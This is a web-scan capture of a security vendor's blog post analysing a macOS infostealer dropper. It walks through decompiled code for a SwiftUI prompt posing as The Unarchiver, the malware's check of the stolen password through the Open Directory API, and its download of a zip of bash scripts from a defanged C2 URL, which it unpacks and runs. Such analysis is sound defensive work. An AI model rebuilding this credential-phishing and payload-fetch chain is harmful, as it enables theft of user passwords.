www.kandji.io
Open in
urlscan Pro
2a05:d014:275:cb00::c8
Public Scan
URL:
https://www.kandji.io/blog/infostealer-swiftui-opendirectory-api-capture-verify-passwords
Submission: On August 12 via api from IT — Scanned from IT
Submission: On August 12 via api from IT — Scanned from IT
Form analysis
2 forms found in the DOM/blog/search
<form action="/blog/search" class="relative">
<input type="text" class="" name="term" autocomplete="off" aria-label="Search" value="" placeholder="Type your search request">
<button aria-label="Search" class="absolute right-0 top-0 h-full w-11 transition duration-200 ease-in-out opacity-50 hover:opacity-100">
<span aria-hidden="true" class="inline-flex items-center justify-center w-11 h-full">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 256" class="h-6 w-6">
<rect width="256" height="256" fill="none"></rect>
<circle cx="116" cy="116" r="84" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="16"></circle>
<line x1="175.4" y1="175.4" x2="224" y2="224" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="16"></line>
</svg>
</span>
</button>
</form>
POST https://forms.hsforms.com/submissions/v3/public/submit/formsnext/multipart/5058330/21f774d6-4c0b-4c25-b47a-35023464393a
<form id="hsForm_21f774d6-4c0b-4c25-b47a-35023464393a_6778" method="POST" accept-charset="UTF-8" enctype="multipart/form-data" novalidate=""
action="https://forms.hsforms.com/submissions/v3/public/submit/formsnext/multipart/5058330/21f774d6-4c0b-4c25-b47a-35023464393a"
class="hs-form-private hsForm_21f774d6-4c0b-4c25-b47a-35023464393a hs-form-21f774d6-4c0b-4c25-b47a-35023464393a hs-form-21f774d6-4c0b-4c25-b47a-35023464393a_97d70ffb-f924-41c7-83c3-27c54f11b64e hs-form stacked hs-custom-form"
target="target_iframe_21f774d6-4c0b-4c25-b47a-35023464393a_6778" data-instance-id="97d70ffb-f924-41c7-83c3-27c54f11b64e" data-form-id="21f774d6-4c0b-4c25-b47a-35023464393a" data-portal-id="5058330"
data-test-id="hsForm_21f774d6-4c0b-4c25-b47a-35023464393a_6778">
<div class="hs_email hs-email hs-fieldtype-text field hs-form-field"><label id="label-email-21f774d6-4c0b-4c25-b47a-35023464393a_6778" class="" placeholder="Enter your Email"
for="email-21f774d6-4c0b-4c25-b47a-35023464393a_6778"><span>Email</span><span class="hs-form-required">*</span></label>
<legend class="hs-field-desc" style="display: none;"></legend>
<div class="input"><input id="email-21f774d6-4c0b-4c25-b47a-35023464393a_6778" name="email" required="" placeholder="Email" type="email" class="hs-input" inputmode="email" autocomplete="email" value=""></div>
</div>
<div class="hs_utm_campaign hs-utm_campaign hs-fieldtype-text field hs-form-field" style="display: none;"><label id="label-utm_campaign-21f774d6-4c0b-4c25-b47a-35023464393a_6778" class="" placeholder="Enter your utm_campaign"
for="utm_campaign-21f774d6-4c0b-4c25-b47a-35023464393a_6778"><span>utm_campaign</span></label>
<legend class="hs-field-desc" style="display: none;"></legend>
<div class="input"><input name="utm_campaign" class="hs-input" type="hidden" value=""></div>
</div>
<div class="hs_utm_content hs-utm_content hs-fieldtype-text field hs-form-field" style="display: none;"><label id="label-utm_content-21f774d6-4c0b-4c25-b47a-35023464393a_6778" class="" placeholder="Enter your utm_content"
for="utm_content-21f774d6-4c0b-4c25-b47a-35023464393a_6778"><span>utm_content</span></label>
<legend class="hs-field-desc" style="display: none;"></legend>
<div class="input"><input name="utm_content" class="hs-input" type="hidden" value=""></div>
</div>
<div class="hs_utm_medium hs-utm_medium hs-fieldtype-text field hs-form-field" style="display: none;"><label id="label-utm_medium-21f774d6-4c0b-4c25-b47a-35023464393a_6778" class="" placeholder="Enter your utm_medium"
for="utm_medium-21f774d6-4c0b-4c25-b47a-35023464393a_6778"><span>utm_medium</span></label>
<legend class="hs-field-desc" style="display: none;"></legend>
<div class="input"><input name="utm_medium" class="hs-input" type="hidden" value=""></div>
</div>
<div class="hs_utm_source hs-utm_source hs-fieldtype-text field hs-form-field" style="display: none;"><label id="label-utm_source-21f774d6-4c0b-4c25-b47a-35023464393a_6778" class="" placeholder="Enter your utm_source"
for="utm_source-21f774d6-4c0b-4c25-b47a-35023464393a_6778"><span>utm_source</span></label>
<legend class="hs-field-desc" style="display: none;"></legend>
<div class="input"><input name="utm_source" class="hs-input" type="hidden" value=""></div>
</div>
<div class="hs_utm_term hs-utm_term hs-fieldtype-text field hs-form-field" style="display: none;"><label id="label-utm_term-21f774d6-4c0b-4c25-b47a-35023464393a_6778" class="" placeholder="Enter your utm_term"
for="utm_term-21f774d6-4c0b-4c25-b47a-35023464393a_6778"><span>utm_term</span></label>
<legend class="hs-field-desc" style="display: none;"></legend>
<div class="input"><input name="utm_term" class="hs-input" type="hidden" value=""></div>
</div>
<div class="hs_blog_kandji_blog_2_6850365017_subscription hs-blog_kandji_blog_2_6850365017_subscription hs-fieldtype-radio field hs-form-field" style="display: none;"><label
id="label-blog_kandji_blog_2_6850365017_subscription-21f774d6-4c0b-4c25-b47a-35023464393a_6778" class="" placeholder="Enter your Kandji Blog Email Subscription"
for="blog_kandji_blog_2_6850365017_subscription-21f774d6-4c0b-4c25-b47a-35023464393a_6778"><span>Kandji Blog Email Subscription</span></label>
<legend class="hs-field-desc" style="display: none;"></legend>
<div class="input"><input name="blog_kandji_blog_2_6850365017_subscription" class="hs-input" type="hidden" value="instant"></div>
</div>
<div class="hs_submit hs-submit">
<div class="hs-field-desc" style="display: none;"></div>
<div class="actions"><input type="submit" class="hs-button primary large" value="Subscribe"></div>
</div><input name="hs_context" type="hidden"
value="{"embedAtTimestamp":"1723469170138","formDefinitionUpdatedAt":"1629373273571","notifyHubSpotOwner":"true","userAgent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","pageTitle":"InfoStealer Uses SwiftUI, OpenDirectory API to Capture Passwords","pageUrl":"https://www.kandji.io/blog/infostealer-swiftui-opendirectory-api-capture-verify-passwords","pageId":"175134870081","isHubSpotCmsGeneratedPage":true,"canonicalUrl":"https://www.kandji.io/blog/infostealer-swiftui-opendirectory-api-capture-verify-passwords","contentType":"blog-post","hutk":"fe8cd950be4eb03ea6fb57d683418074","__hsfp":872352201,"__hssc":"234561729.1.1723469173681","__hstc":"234561729.fe8cd950be4eb03ea6fb57d683418074.1723469173681.1723469173681.1723469173681.1","formTarget":"#hs_form_target_sidebar_subscribe_","formInstanceId":"6778","rawInlineMessage":"<p>Thanks for subscribing!</p>","hsFormKey":"c771249285eabc2a1c61944be5a372e3","pageName":"InfoStealer Uses SwiftUI, OpenDirectory API to Capture Passwords","rumScriptExecuteTime":2018.0999999940395,"rumTotalRequestTime":3546.800000011921,"rumTotalRenderTime":3969.300000011921,"rumServiceResponseTime":1528.7000000178814,"rumFormRenderTime":422.5,"connectionType":"4g","firstContentfulPaint":0,"largestContentfulPaint":0,"locale":"en","timestamp":1723469173745,"originalEmbedContext":{"portalId":"5058330","formId":"21f774d6-4c0b-4c25-b47a-35023464393a","region":"na1","target":"#hs_form_target_sidebar_subscribe_","isBuilder":false,"isTestPage":false,"isPreview":false,"formInstanceId":"6778","formsBaseUrl":"/_hcms/forms","css":"","inlineMessage":"<p>Thanks for subscribing!</p>","isMobileResponsive":true,"rawInlineMessage":"<p>Thanks for subscribing!</p>","hsFormKey":"c771249285eabc2a1c61944be5a372e3","pageName":"InfoStealer Uses SwiftUI, OpenDirectory API to Capture Passwords","pageId":"175134870081","contentType":"blog-post","formData":{"cssClass":"hs-form stacked hs-custom-form"},"isCMSModuleEmbed":true},"correlationId":"97d70ffb-f924-41c7-83c3-27c54f11b64e","renderedFieldsIds":["email","utm_campaign","utm_content","utm_medium","utm_source","utm_term","blog_kandji_blog_2_6850365017_subscription"],"captchaStatus":"NOT_APPLICABLE","emailResubscribeStatus":"NOT_APPLICABLE","isInsideCrossOriginFrame":false,"source":"forms-embed-1.5781","sourceName":"forms-embed","sourceVersion":"1.5781","sourceVersionMajor":"1","sourceVersionMinor":"5781","allPageIds":{"embedContextPageId":"175134870081","analyticsPageId":"175134870081","contentPageId":175134870081,"contentAnalyticsPageId":"175134870081"},"_debug_embedLogLines":[{"clientTimestamp":1723469170384,"level":"INFO","message":"Retrieved customer callbacks used on embed context: [\"getExtraMetaDataBeforeSubmit\"]"},{"clientTimestamp":1723469170389,"level":"INFO","message":"Retrieved pageContext values which may be overriden by the embed context: {\"pageTitle\":\"InfoStealer Uses SwiftUI, OpenDirectory API to Capture Passwords\",\"pageUrl\":\"https://www.kandji.io/blog/infostealer-swiftui-opendirectory-api-capture-verify-passwords\",\"userAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36\",\"pageId\":\"175134870081\",\"contentAnalyticsPageId\":\"175134870081\",\"contentPageId\":175134870081,\"isHubSpotCmsGeneratedPage\":true}"},{"clientTimestamp":1723469170391,"level":"INFO","message":"Retrieved countryCode property from normalized embed definition response: \"DE\""},{"clientTimestamp":1723469173735,"level":"INFO","message":"Retrieved analytics values from API response which may be overriden by the embed context: {\"hutk\":\"fe8cd950be4eb03ea6fb57d683418074\",\"canonicalUrl\":\"https://www.kandji.io/blog/infostealer-swiftui-opendirectory-api-capture-verify-passwords\",\"contentType\":\"blog-post\",\"pageId\":\"175134870081\"}"}]}"><iframe
name="target_iframe_21f774d6-4c0b-4c25-b47a-35023464393a_6778" style="display: none;"></iframe>
</form>
Text Content
___ Skip to content Book a Demo Request Pricing Virtual Tour Kandji logo Open main menu Kandji Close menu Product Solutions Apple Device Management Endpoint Detection & Response By Device Mac Device Management iOS Device Management Features Liftoff Prism Migration Auto Apps Passport Compliance Assignment Maps Managed OS Use Cases Zero-Touch Deployment Security Configurations Software Management Integrate with Kandji Resources Resources Hub Kandji Blog Customer Stories Mac Admins Community Security Details MDM Comparison Guide Customers Customer Support Product Updates Customer Login Kandji Status Partners Register a Deal Resellers Become a Partner Technology Partners Partner Portal Company About Kandji News & Press Careers Contact Why Kandji? Pricing Virtual Tour Get Started Get Started Kandji logo Product SOLUTIONS Apple Device Management Advanced MDM solution for Apple devices Endpoint Detection & Response Extensive threat detection and response for Mac BY DEVICE Mac Device Management Frictionless macOS management software iOS Device Management Automated iPhone and iPad device management FEATURES Liftoff User onboarding Prism Pre-built device reports Migration MDM migration Auto Apps App management Passport Synced passwords for Mac Compliance Security control templates Assignment Maps Configuration management Managed OS Automated OS updates USE CASES Zero-Touch Deployment Security Configurations Software Management Integrate with Kandji GET A DEMO Discover the power of Kandji with a personalized demo and 14-day trial. Get Started Book a Demo Request Pricing Virtual Tour Pricing Resources BLOG InfoStealer Uses SwiftUI, OpenDirectory API to Capture Passwords On July 29, @4n6Bexaminer tweeted about a new macOS stealer. Moments later, Hunt.io tweeted about the same new malware and then released a blog post about it on July 30. That post focused primarily on the malicious bash scripts that were downloaded from the command-and-control (C2) server and then executed as the second stage. Update Only Mode for Auto Apps: A New Way to Patch Mac Software Kandji’s Auto Apps let IT teams distribute Mac software titles—nearly 200 and counting—either by deploying them automatically to endpoints or by letting users install them as they wish via Kandji’s Self Service. We’re now adding another option: Update Only. Apple Intelligence: What Mac Admins Need to Know One of Apple’s biggest announcements at this year’s WWDC was about the upcoming release of what the company calls Apple Intelligence. But, this being Apple, it wasn’t just a jumping-on-the-bandwagon announcement about AI. Rather, it’s about the very Apple approach the company is taking to artificial intelligence, one that puts user benefits and protections first. KANDJI RESOURCES Resources Hub Kandji Blog Customer Stories Mac Admins Community Security Details MDM Comparison Guide CUSTOMER STORIES ” We chose Kandji for their security solution to efficiently manage a fleet of Apple MacBooks. We were able to quickly and significantly increase our security posture with minimal resources. Martin G. Staff Dev-ops Engineer, Wisely This tool was clearly designed from a Mac admin's point of view. Nicholas Mercurio Manager, IT & Security Operations, Fluent We're saving time managing our Apple fleet with Kandji's built-in automations. Wilson Ho Director of IT, Turo Read Customer Stories Book a Demo Request Pricing Virtual Tour Customers CUSTOMERS Customer Support Visit the Knowledge Base to access help documentation Product Updates Latest feature releases and product updates Customer Login Existing customers: Sign in to access Kandji Kandji Status Stay updated on Kandji system status CUSTOMER SPOTLIGHT 75% reduction in Mac-related support tickets 50 hours a month saved on routine maintenance View Case Study Book a Demo Request Pricing Virtual Tour Partners PARTNERS Resellers Explore a partnership program with Kandji Become a Partner Apply to join the Kandji Partner Program Technology Partners Check out Kandji’s integrations & API Partner Portal Log in to access Kandji Partner Academy REGISTER A PARTNER DEAL Register a partner opportunity with Kandji for deals where we can collaborate. Register a Deal Book a Demo Request Pricing Virtual Tour Company COMPANY About Kandji Learn more about Kandji, the modern MDM for Apple News & Press Read the latest news in Apple enterprise management Careers Browse open job opportunities at Kandji Contact Get in touch with the Kandji team WHY KANDJI? Kandji's focus on automation sets it apart from any other MDM solution on the market. Learn More Book a Demo Request Pricing Virtual Tour Log in Get Started Blog Threat Intelligence InfoSteale... INFOSTEALER USES SWIFTUI, OPENDIRECTORY API TO CAPTURE PASSWORDS Christopher Lopez Christopher Lopez Aug 8, 2024 Senior macOS Security Researcher 21 min read On July 29, @4n6Bexaminer tweeted about a new macOS stealer. Moments later, Hunt.io tweeted about the same new malware and then released a blog post about it on July 30. That post focused primarily on the malicious bash scripts that were downloaded from the command-and-control (C2) server and then executed as the second stage. We wanted to take a close look at the first stage—specifically at the stealer’s dropper, which is written in Swift and leverages APIs not seen in other recent stealers to capture and verify the user’s password. Many detection methods focus on OSAscript; this malware takes a different approach to evade detection. LINK TO THIS SECTION PASSWORD PROMPT LINK TO THIS SECTION SUB_1000061F8 We will start with the lock image seen in the prompt. The lock image is initialized using the Image.init(_:bundle:) call. The resizable method is then passed, which returns a pointer to the Image view. 10000642c int64_t Image = Image.init(_:bundle:)('lock', 0xe400000000000000, 0) <...> 100006468 int64_t resizeView = Image.resizable(capInsets:resizingMode:)(x22, Image, v0, v1, v2, v3) The prompt text is created using StringInterpolation and a function (which I renamed getNameOfApp()) that queries for the name of the application. 10000658c LocalizedStringKey.Strin...(literalCapacity:interpolationCount:)(0x43, 1) 1000065ac // A user password must be entered to allow the " 1000065ac LocalizedStringKey.StringInterpolation.appendLiteral(_:)(-0x2fffffffffffffd2, -0x7ffffffeffff52d0) 1000065b0 int64_t AppName_3 = getNameOfApp() 1000065b8 LocalizedStringKey.StringInterpolation.appendInterpolation(_:)() 1000065c0 _swift_bridgeObjectRelease(AppName_3) 1000065dc // " application to run. 1000065dc LocalizedStringKey.StringInterpolation.appendLiteral(_:)(-0x2fffffffffffffeb, -0x7ffffffeffff52a0) 1000065e4 LocalizedStringKey.init(stringInterpolation:)(x20) LINK TO THIS SECTION GETNAMEOFAPP() This function uses the [NSBundle mainBundle] object to query for the CFBundleDisplayName inside the Info.plist of the application bundle. The binary that executes within this app bundle is called CryptoTrade, but the prompt displays the name The Unarchiver, since that’s the value set for the CFBundleDisplayName. Below is a portion of the Info.plist file in the application bundle that shows the value for the CFBundleDisplayName key. { "BuildMachineOSBuild" => "23F79" "CFBundleDevelopmentRegion" => "en" "CFBundleDisplayName" => "The Unarchiver" "CFBundleExecutable" => "CryptoTrade" "CFBundleIconFile" => "AppIcon" "CFBundleIconName" => "AppIcon" "CFBundleIdentifier" => "Team-Apps.TheUnarchiver" "CFBundleInfoDictionaryVersion" => "6.0" "CFBundleName" => "CryptoTrade" <...> Because this function dynamically loads the name, this prompt can be used by other applications with a different CFBundleDisplayName and masquerade as other legitimate applications. Once the name is pulled from the Info.plist file, a Text view is created using StringInterpolation, which allows strings to be combined dynamically: "A user password must be entered to allow the [AppName] application to run." 100006800 password, x1_13, x2_8, x3_4, v0_6 = LocalizedStringKey.init(stringLiteral:)('Password', 0xe800000000000000) The default value in the password TextField is initialized as a LocalizedStringKey with the value Password, to persuade the victim to enter their password. See Kandji in Action Experience Apple device management and security that actually gives you back your time. Get Started Contact Us 10000686c SecureField<>.init(_:text:onCommit:)(nop, nop) 10000687c RoundedBorderTextFieldStyle.init()() 1000068e4 View.textFieldStyle<A>(_:)(x8_10, x0_2, x0_1, sub_1000099ac(&data_100010e68, &data_100010e48, protocol conformance descriptor for SecureField<A>), sub_1000096d8(&data_100010e70, type metadata accessor for RoundedBorderTextFieldStyle, protocol conformance descriptor for RoundedBorderTextFieldStyle)) The malware authors used a SecureField view, which conforms to the TextField protocol, to hide the password as the victim enters it, as they would for a legitimate application. After the text is set up, there's a branch (which I’ve renamed buttonSetups()) to set up the buttons in the prompt. 1000069a8 buttonSetups(arg1, x8_4 + sx.q(*(getTypeByMangledNameInContext2(&data_100010e78) + 0x2c))) LINK TO THIS SECTION BUTTONSETUPS() The first button seen in the prompt is for the Cancel button. Below is the disassembly for the Button.init method that accepts a function, TerminateAppAction, to run when the user clicks it. 100007018 60288cd2 mov x0, #0x6143 10000701c c06dacf2 movk x0, #0x636e, lsl #0x10 100007020 a08ccdf2 movk x0, #0x6c65, lsl #0x20 {'Cancel'} 100007024 01c0fcd2 mov x1, #0xe600000000000000 100007028 dd0a0094 bl LocalizedStringKey.init(stringLiteral:) 10000702c 42000012 and w2, w2, #0x1 100007030 04000090 adrp x4, 0x100007000 100007034 84e00991 add x4, x4, #0x278 {TerminateAppAction} 100007038 e80314aa mov x8, x20 10000703c 050080d2 mov x5, #0 100007040 280b0094 bl Button<>.init(_:action:) The Button.init method uses the small Swift string Cancel. It is passed a closure (which we’ve renamed TerminateAppAction), which loads the NSApp sharedAppInstance and calls the terminate method. This results in the application terminating if the user clicks the Cancel button in the prompt. 100007294 return _objc_msgSend(self: sharedAppInstance, cmd: "terminate:") __tailcall Button<>.init(_:action:)(unicodeChars, sizeOfUnicodeChars, zx.q(x2_3 & 1), x3, passwordCheck, swiftArray) LINK TO THIS SECTION PASSWORD CHECK The second OK button is then initialized. Inside of the Button.init method, a closure is passed that we’ve renamed passwordCheck: 10000926c int64_t passwordCheck(void* arg1 @ x20) 100009270 return buttonAction(arg1 + 0x10) __tailcall LINK TO THIS SECTION BUTTONACTION() This function then returns another function (renamed buttonAction) that continues the setup. Inside this buttonAction function, there’s password-checking behavior; completion of that triggers the download of malicious scripts. To understand where the password that was passed to SecureField lives at this point in the execution, we need to introduce the Swift property wrapper called State. State is used to read and write a value by SwiftUI. The password is tied to this @State property wrapper. We can see evidence of this prior to the passwordChecker() function call, in the name of State.wrappedValue.getter(). This is a getter method for the value wrapped to State. 1000072f8 State.wrappedValue.getter() 100007304 int64_t sizeOfPassword 100007304 int64_t password 100007304 int32_t IsPasswordCorrect = passwordChecker(sizeOfPassword, password) LINK TO THIS SECTION PASSWORDCHECKER() Now we branch to a function I named passwordChecker. It returns a Boolean value, which is checked to either request the password again or continue. The passwordChecker() function leverages Objective-C Open Directory APIs. (Open Directory is Apple’s version of the Lightweight Directory Access Protocol, LDAP. Every macOS system has an Open Directory database that contains important information about users and groups, including permissions to resources.) Let’s walk through the setup. 1000082bc int64_t passwordChecker(int64_t sizeOfPassword, int64_t password) 10000830c id defaultOD = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: _objc_opt_self(obj: _OBJC_CLASS_$_ODSession), cmd: "defaultSession")) 10000831c void* ODNode = _objc_allocWithZone(_OBJC_CLASS_$_ODNode) 100008328 id defaultODRetained = _objc_retain(obj: defaultOD) 100008340 void* localNode = OpenDirectorySetup(defaultOD, kODNodeTypeLocalNodes: 0x2200, ODNode) 100008390 id localNode_1 = localNode The ODSession object is loaded and passed the defaultSession method to create a session object. An ODNode object is then also loaded. Finally, these two objects are passed to another function, which I renamed OpenDirectorySetup. LINK TO THIS SECTION OPENDIRECTORYSETUP() Inside this function, the Open Directory objects are used to initialize a new OD session of type Local. 100007834 void* OpenDirectorySetup(int64_t defaultOD, int64_t kODNodeTypeLocalNodes, void* ODNode @ x20) 100007840 void* ODNode_1 = ODNode 100007860 int64_t x8 = *___stack_chk_guard 100007880 int64_t x4 100007880 void* LocalNode = _objc_msgSend(self: ODNode, cmd: "initWithSession:type:error:", defaultOD, kODNodeTypeLocalNodes, x4) This function accepts three arguments: the default Open Directory object, the ODNode object, and the value 0x2200 which is passed into a method as the value kODNodeTypeLocalNodes; this is the node for the local directory of the macOS system. Inside this function, the ODNode object is used to call the initWithSession:type:error: method, which creates a node object with a specified session and type. This node object is then checked by the caller for errors. If a localNode was successfully created it continues to build a record. 100008394 else 1000083a0 id currentUser = _objc_retainAutoreleasedReturnValue(obj: _NSUserName() 1000083a4 id currentUser_1 = currentUser 1000083a4 <...> 1000083d0 id _kODRecordTypeUsers = _objc_retain(obj: *_kODRecordTypeUsers) <...> 10000841c id ODRecord = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: localNode_1, cmd: "recordWithRecordType:name:attributes:error:", _kODRecordTypeUsers, currentUser_1, NSArray, x5_1)) Executing the NSUserName() function queries the current user. The _kODRecordTypeUsers global variable is then used as a record type and passed to the recordWithRecordType:name:attributes:error: method. This returns an Open Directory record. After some error handling, the OD record is then passed the verifyPassword:error method, along with the password which is converted to an NSString that would be submitted by the victim. 100008440 else 100008448 _objc_retain(obj: obj_3) 100008454 int64_t passwordObject = String._bridgeToObjectiveC()(sizeOfPassword, password) 10000845c null = nullptr 100008474 int32_t passWordVerify = _objc_msgSend(self: ODRecord, cmd: "verifyPassword:error:", passwordObject, &null) This verifyPassword:error: method checks the captured password against the ODRecord for the /Local/Default dsAttrTypeStandard:AppleMetaNodeLocation. /Local/Default is the default directory database of the local computer. The password will be checked against this record, which would be the same password as the administrator and will return a 1 for true if successful. The Open Directory Record appears to be used for password verification. In arm64 for Objective-C, X0 is used for the class object, X1 is used for the selector (method passed to the object), and X2 would be the first argument. objc_msgSend is then called to handle the message-passing, and the result is returned in X0. Using the values seen in the registers above, we can visualize how the Objective-C would look: [ODRecord verifyPassword: passwordCaptured error:&error] LINK TO THIS SECTION RETURN TO BUTTONACTION() After the password verification is complete, code execution returns to the buttonAction() function to handle the result of the password checker. If the password check returns false—indicating that it is not the correct password—then a branch to animate a shake for the prompt (which I named promptWiggle()) will occur. 100007314 if ((IsPasswordCorrect & 1) == 0) 10000738c promptWiggle() If the password is correct, the execution continues, and the sharedAppInstance is queried using the NSApp() function. 100007314 else 100007320 void* sharedAppInstance = *_NSApp 100007320 100007324 if (sharedAppInstance == 0) 1000073ac trap(1) 1000073ac 100007338 id mainWindow = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: sharedAppInstance, cmd: "keyWindow")) 100007348 _objc_msgSend(self: mainWindow, cmd: "close") The keyWindow object for the app is then passed to the close method which would close the main app window. LINK TO THIS SECTION SUB_100008670: C2 DOWNLOAD SETUP This then leads to the download preparation for the bash scripts. 10000875c // hxxps[:]//cryptomac.dev/download/grabber[.]zip 10000875c URL.init(string:)(0xd00000000000002a, 0x800000010000ad80) The C2 server is first seen being initialized as a URL type. Swift strings are structs, and this is an example of a large Swift string object, since the bridge object begins with 0xd and contains the size of the string at the least significant bits of the object: 0x2a. { 0xd00000000000002a - Bridge Object 0x800000010000ad80 - Pointer to string before nibble added } The address of the string is at 0x10000ad80 + 0x20, to account for the nibble. We can use Binary Ninja to add the 0x20 nibble to the address of the string and see the URL for the C2 using the binary view (bv) object and read method: >>> bv.read(0x10000ad80+0x20, 0x2a) b'hxxps[:]//cryptomac.dev/download/grabber[.]zip' 1000087ac id defaultMan = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: _objc_opt_self(obj: _OBJC_CLASS_$_NSFileManager), cmd: "defaultManager")) 1000087bc int64_t x25_1 = 1 1000087d0 id _~/Library/ = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: defaultMan, cmd: "URLsForDirectory:inDomains:", 5, 1)) 1000087dc _objc_release(obj: defaultMan) 1000087e8 void* swiftArray = static Array._unconditionallyBridgeFromObjectiveC(_:)(_~/Library/, x0_1) The defaultManager object is created and passed the URLsForDirectory:inDomains: method: [defaultManager URLsForDirectory:5 inDomains:1]. This returns an NSArray for the ~/Library path. This NSArray is then passed to the Array._unconditionallyBridgeFromObjectiveC function to be converted to a Swift array. The URL path is then appended with the small Swift string grabber to set up the directory that will be used later. 100008874 URL.appendingPathComponent(_:)('grabber', 0xe700000000000000) LINK TO THIS SECTION DOWNLOADFILE() After this setup, we branch to a function to download the zip file from the C2: 100008898 downloadFile(url, x23, sizeOfPassword, password) This function (which we renamed) handles the download of the zip file from the C2. 100008584 id urlSession = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: _objc_opt_self(obj: _OBJC_CLASS_$_NSURLSession), cmd: "sharedSession")) 10000858c int64_t url = URL._bridgeToObjectiveC()() 1000085a4 void* swiftArray = _swift_allocObject(&data_10000c7c8, 0x20, 7) 1000085a8 *(swiftArray + 0x10) = sizeOfPassword 1000085a8 *(swiftArray + 0x18) = password 1000085b4 int64_t (* var_50)(int64_t arg1, int64_t arg2, int64_t arg3, void* arg4 @ x20) = branchToHandleDownload 1000085c0 int64_t (* const aBlock)() = __NSConcreteStackBlock 1000085cc int64_t var_68 = 0x42000000 1000085e0 int64_t (* var_60)(void* arg1, int64_t arg2, id arg3, id arg4) = sub_100005ea8 1000085e0 void* const var_58 = &data_10000c7e0 1000085e8 void* aBlock_1 = __Block_copy(&aBlock) 1000085f8 _swift_bridgeObjectRetain(password) 100008600 _swift_release(swiftArray) 100008620 id obj = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: urlSession, cmd: "downloadTaskWithURL:completionHandler:", url, aBlock_1)) An NSURL session object is created, and the URL that was passed in is bridged to an NSURL. A block is set up that will be passed to the downloadTaskWithURL:completionHandler: method. This block (which we renamed branchToHandleDownload) sets up an NSTask object to handle the file that is downloaded. LINK TO THIS SECTION BRANCHTOHANDLEDOWNLOAD() A block was passed to the completionHandler argument for the download task method. This block will execute after the download task is completed. 1000096b8 int64_t branchToHandleDownload(int64_t arg1, int64_t arg2, int64_t arg3, void* arg4 @ x20) 1000096bc return NSTask_setup(arg1, arg2, arg3, *(arg4 + 0x10), *(arg4 + 0x18)) __tailcall This function returns a function (which we renamed NSTask_setup). LINK TO THIS SECTION NSTASK_SETUP() Inside this block, we have the setup for an NSTask, which will spawn a child process to execute code to manage things after the download is completed. Using the NSFileManager class, a check for the grabber directory is completed. If the directory does not exist, it is created using the createDirectoryAtURL:withIntermediateDirectories:attributes:error: method. 1000059e0 int32_t DoesDirectoryExist = _objc_msgSend(self: defMan, cmd: "fileExistsAtPath:", NSUrl: ~/Library/grabber) 1000059ec _objc_release(obj: NSUrl: ~/Library/grabber) 1000059ec 1000059f0 if ((DoesDirectoryExist & 1) != 0) 1000059f0 goto label_100005a4c 1000059f8 int64_t URL: ~/Library/grabber_1 = URL._bridgeToObjectiveC()() 100005a00 id null = nullptr 100005a20 int32_t directoryCreateSuccess = _objc_msgSend(self: defMan, cmd: "createDirectoryAtURL:withIntermediateDirectories:attributes:error:", URL: ~/Library/grabber_1, 1, 0, &null) If the directory does already exist then there is a branch to 0x100005a4c to continue execution. 100005a4c label_100005a4c: 100005a4c unzipAndDecode() 100005aa4 URL.appendingPathComponent(_:)('grabber', 0xe700000000000000) 100005ac8 URL.appendingPathComponent(_:)('main.sh', 0xe700000000000000) Once that creation is completed (or if the directory already exists), a branch to a function for unzipping the file downloaded and decoding the contents of the file is completed. The path to the main script will be ~/Library/grabber/main.sh. LINK TO THIS SECTION UNZIPANDDECODE() This function prepares an NSTask call to unzip the file that is downloaded, since this function is part of the block that was passed to the completionHandler for the URLSession object. 100008998 void* task = -[_TtC11CryptoTrade11AppDelegate init](self: _objc_allocWithZone(_OBJC_CLASS_$_NSTask), sel: "init") 1000089c4 URL.init(fileURLWithPath:)('/usr/bin', '/unzip\x00\xee') 1000089c8 int64_t _/usr/bin/unzip = URL._bridgeToObjectiveC()() 1000089d0 (*(x19 + 8))(x20, x0_2) 1000089f0 _objc_msgSend(self: task, cmd: "setExecutableURL:", _/usr/bin/unzip) The NSTask object is passed the setExecutableURL: method for the path /usr/bin/unzip. The argument array used by the unzip command is set up here: 100008a10 argArray, v0 = _swift_allocObject(getTypeByMangledNameInContext2(&data_100010ec0), 0x50, 7) 100008a20 *(argArray + 0x10) = data_10000a200 100008a28 int64_t x0_9 100008a28 int64_t x1_2 100008a28 x0_9, x1_2 = URL.path.getter() 100008a2c *(argArray + 0x20) = x0_9 100008a2c *(argArray + 0x28) = x1_2 100008a38 *(argArray + 0x30) = '-d' 100008a38 *(argArray + 0x38) = 0xe200000000000000 100008a40 int64_t url 100008a40 int64_t sizeOFURL 100008a40 url, sizeOFURL = URL.path.getter() 100008a44 *(argArray + 0x40) = url 100008a44 *(argArray + 0x48) = sizeOFURL 100008a58 int64_t argArray_1 = Array._bridgeToObjectiveC()(argArray, type metadata for String) 100008a64 _swift_release(argArray) 100008a78 _objc_msgSend(self: task, cmd: "setArguments:", argArray_1) For the NSArray arguments that are passed to the setArguments method, a Swift array is allocated and set up with the -d argument and path. Once the NSTask object is set up and executed, execution is returned to the caller which continues another NSTask setup. 100005bd8 void* task = _objc_allocWithZone(_OBJC_CLASS_$_NSTask) 100005be4 _objc_retain(obj: obj_8) 100005bf4 id obj_3 = -[_TtC11CryptoTrade11AppDelegate init](self: task, sel: "init") 100005c00 int64_t pathToDownloadedScript = URL._bridgeToObjectiveC()() 100005c18 _objc_msgSend(self: obj_3, cmd: "setExecutableURL:", pathToDownloadedScript) 100005c20 _objc_release(obj: pathToDownloadedScript) Once unzipped, the script is targeted using the URL object ~/Library/grabber/main.sh, which is passed to the setExecutableURL method. This begins the second stage of the malware chain. LINK TO THIS SECTION RECAP This dropper differs from other recent stealers by leveraging swiftUI for the prompt creation, by using Open Directory APIs for verifying the captured user password, and by primarily using APIs to complete actions that would not generate process events. LINK TO THIS SECTION IOCS * 